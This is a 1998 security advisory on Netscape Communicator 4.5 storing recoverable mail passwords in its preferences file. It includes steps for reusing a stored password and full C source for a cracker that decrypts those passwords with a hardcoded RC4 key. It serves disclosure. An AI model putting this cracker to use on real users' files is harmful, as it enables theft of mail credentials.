10th Nov 1998 [SBWID-4448]
COMMAND
	    netscape
SYSTEMS AFFECTED
	    Netscape Communicator 4.5 (all systems)
PROBLEM
	    Holger van Lengerich found  following.  The Netscape  Communicator
	    4.5 stores the  crypted version of  used mail-passwords (for  imap
	    and pop3) even if you  tell Netscape to *not* "remember  password"
	    in the preferences dialog.  This means, that anybody who can  read
	    your preferences.js ("prefs.js" in  the MS dominion) is  problably
	    able to read your mail or even get your plaintext-password.
	    How to reproduce:
	
	        - start Communicator
	        - be sure "remember  password" is disabled in  the preferences
	          dialog for the "Incoming Mail Server".
	        - get mails from Server (you get asked for your mail-password)
	        - exit Communicator
	        - edit preferences.js  in $HOME/.netscape (MS-Users:  prefs.js
	          in your NS-Profile-Path)
	            - search for something like:
	               ------
	               user_pref("mail.imap.server.mail.password", "cRYpTPaSswD=");
	               user_pref("mail.imap.server.mail.remember_password", false);
	               ------
	            - Now change "false" to "true".
	            - Save the file
	        - Start Communicator
	        - get mails
	
	    ... now you are not asked  for any password but can read  all your
	    mail!  This was tested on SunOS, Linux (glibc2) and MS WinNT.
	    Note that  only IMAP-Passwords  are stored  in the  preferences.js
	    after  the  Communicator  process  is  correctly  terminated.  POP
	    passwords  are  stored  in  preferences.js,  at the first time you
	    fetch mail from the server and cleared at Communicator exit.  This
	    happened  using  C4.5  on  Sun  Solaris.   Even this is a security
	    problem:
	
	        - Using an multiuser-OS like Unix: an evil user may access the
	          preferences file, while you are working with Communicator.
	        - Files may be accessible via network shares.
	        - In a  crash situation the  password may not  be cleared from
	          the preferences.js
	        - In this case the "Quality Feedback Agent" (QFA) may, if  you
	          allow him to do so, transfer the preferences.js (w.  crypted
	          password) via Internet, (readable at any host on the way  to
	          Netscape Corp.)
	
	    Be aware that the encryption of the password gives *NO*  security.
	    You  don't   need  to   know  the   decryption-algorithm,  because
	    Communicator itself  can do  the decryption  for you.   By using a
	    packet  sniffer   (like  HD-MOORE)   or  setting   up  a   patched
	    IMAP-/POP-Server with a password logging facility, you can  easily
	    get the plaintext-passwords.
	 Update (01 March 2003)
	 ======
	Nicolas RUFF posted :
	--snip--
	I know some people have already noticed  that  the  password  is  XOR-ed
	with a constant byte stream, but as far  as  I  know  nobody  documented
	that this stream was RC4-generated.
	--snap--
	
	-----------------------------------
	Nicolas RUFF
	Security Consultant / EdelWeb
	-----------------------------------
	//
	// NetsCrack.cpp : Netscape 4.x POP Passwords Cracker
	// Tested against Netscape 4.5
	// C0ded by Nicolas RUFF / EdelWeb
	// You may freely distribute this source code unmodified
	//
	#include <stdio.h>
	#include <stdlib.h>
	#include <windows.h>
	/* ---------------------------------------------------------------- */
	// The "original" RC4 algorithm source code
	/* rc4.h */
	typedef struct rc4_key
	{
	    unsigned char state[256];
	    unsigned char x;
	    unsigned char y;
	} rc4_key;
	void prepare_key(unsigned char *key_data_ptr,int key_data_len, rc4_key 
	*key);
	void rc4(unsigned char *buffer_ptr,int buffer_len,rc4_key * key);
	static void swap_byte(unsigned char *a, unsigned char *b);
	/* r4.c */
	void prepare_key(unsigned char *key_data_ptr, int key_data_len, rc4_key 
	*key)
	{
	unsigned char swapByte;
	unsigned char index1;
	unsigned char index2;
	unsigned char* state;
	short counter;
	    state = &key->state[0];
	    for (counter = 0; counter < 256; counter++)
	         state[counter] = counter;
	    key->x = 0;
	    key->y = 0;
	    index1 = 0;
	    index2 = 0;
	    for(counter = 0; counter < 256; counter++)
	    {
	       index2 = (key_data_ptr[index1] + state[counter] + index2) % 256; 
	       swap_byte(&state[counter], &state[index2]);
	       index1 = (index1 + 1) % key_data_len;
	     }
	}
	void rc4(unsigned char *buffer_ptr, int buffer_len, rc4_key *key)
	{
	unsigned char x;
	unsigned char y;
	unsigned char* state;
	unsigned char xorIndex;
	short counter;
	    x = key->x;
	    y = key->y;
	    state = &key->state[0];
	    for(counter = 0; counter < buffer_len; counter ++)
	    {
	       x = (x + 1) % 256;
	       y = (state[x] + y) % 256;
	       swap_byte(&state[x], &state[y]);
	       xorIndex = (state[x] + state[y]) % 256;
	       buffer_ptr[counter] ^= state[xorIndex];
	    }
	    key->x = x;
	    key->y = y;
	}
	static void swap_byte(unsigned char *a, unsigned char *b)
	{
	unsigned char swapByte;
	    swapByte = *a;
	    *a = *b;
	    *b = swapByte;
	}
	/* ----------------------------------------------------------------- */
	// Quick and dirty base64 decoding
	unsigned char transcode( unsigned char c ) {
	    if ((c >= 'A') && (c <= 'Z'))
	       return (c - 'A');
	    if ((c >= 'a') && (c <= 'z'))
	       return (c - 'a' + 26);
	    if ((c >= '0') && (c <= '9'))
	       return (c - '0' + 52);
	    if (c == '+')
		   return 62;
	    if (c == '/')
		   return 63;
	    if (c == '=')
		   return 0;
	    printf("transcode error\n");
	    return 0;
	}
	void decode64( unsigned char a, unsigned char b, unsigned char c, 
	unsigned char d, unsigned char *dst ) {
	unsigned char x, y, z;
	    // Transcode { A-Z a-z 0-9 + / } -> ...
	    // 'A'=65 'a'=97 '0'=48 '+'=43 '/'=47
	    x = transcode(a);
	    y = transcode(b);
	    z = transcode(c);
	    x = (  (transcode(a))         << 2 ) + ( ((transcode(b)) & 0x30) >> 
	4); // pattern = 00110000
	    y = ( ((transcode(b)) & 0x0F) << 4 ) + ( ((transcode(c)) & 0x3C) >> 
	2); // pattern = 00001111, 00111100
	    z = ( ((transcode(c)) & 0x03) << 6 ) + (  (transcode(d))             );
	    dst[0] = x;
	    dst[1] = y;
	    dst[2] = z;
	}
	/* ---------------------------------------------------------------- */
	// Main()
	int main(int argc, char* argv[])
	{
	char szPwd[256];
	unsigned char szClear[256];
	int i,j;
	// Netscape "Magic" Key
	unsigned char key_data[] = { 0xD0, 0x86, 0x9C, 0xDE, 0xC6, 0xEE, 0xEB, 
	0x3E };
	rc4_key key;
	// [0x00 ... 0x3F] and [0x80 ... 0xFF] : no substitution
	// [0x40 ... 0x7F] use substitution table below
	// Surprisingly T*T = Id :-)
	unsigned char table[] = {
	    0x40, 0x4E, 0x4F, 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 
	0x58, 0x59, 0x5A, 0x41, 0x42,
	    0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 
	0x5B, 0x5C, 0x5D, 0x5E, 0x5F,
	    0x60, 0x6E, 0x6F, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, 
	0x78, 0x79, 0x7A, 0x61, 0x62,
	    0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 
	0x7B, 0x7C, 0x7D, 0x7E, 0x7F
	};
		printf("Enter registry encrypted password :");
		gets(szPwd);
		if (strlen(szPwd) > 0) {
	/* --------------- REGISTRY ENCRYPTION --------------- */
			strrev(szPwd);
			for (i=0; i<strlen(szPwd); i++) {
				if ((szPwd[i] >= 0x40) && (szPwd[i] < 0x80))
					szPwd[i] = table[szPwd[i] - 0x40];
			}
			printf("File password : %s\n", szPwd);
		}
		else {
			printf("Enter file encrypted password :");
			gets(szPwd);
		}
	/* --------------- FILE ENCRYPTION --------------- */
		/* ATOB_AsciiToData() */
		j=0;
		for (i=0; i<strlen(szPwd); i+=4) {
			decode64(szPwd[i], szPwd[i+1], szPwd[i+2], szPwd[i+3], &(szClear[j]));
			j += 3;
		}
		szClear[j] = '\0';
		/* RC4_Decrypt */
		prepare_key( key_data, 8, &key);
		rc4( szClear, strlen((char *)szClear), &key );
		printf("Clear text password : %s\n", szClear);
		return 0;
	}
	
SOLUTION
	    Don't  use  Communicator  4.5  to  fetch  mails from your IMAP/POP
	    server   or   be   very   sure   that   no   one   can  read  your
	    Netscape-preferences-file!!!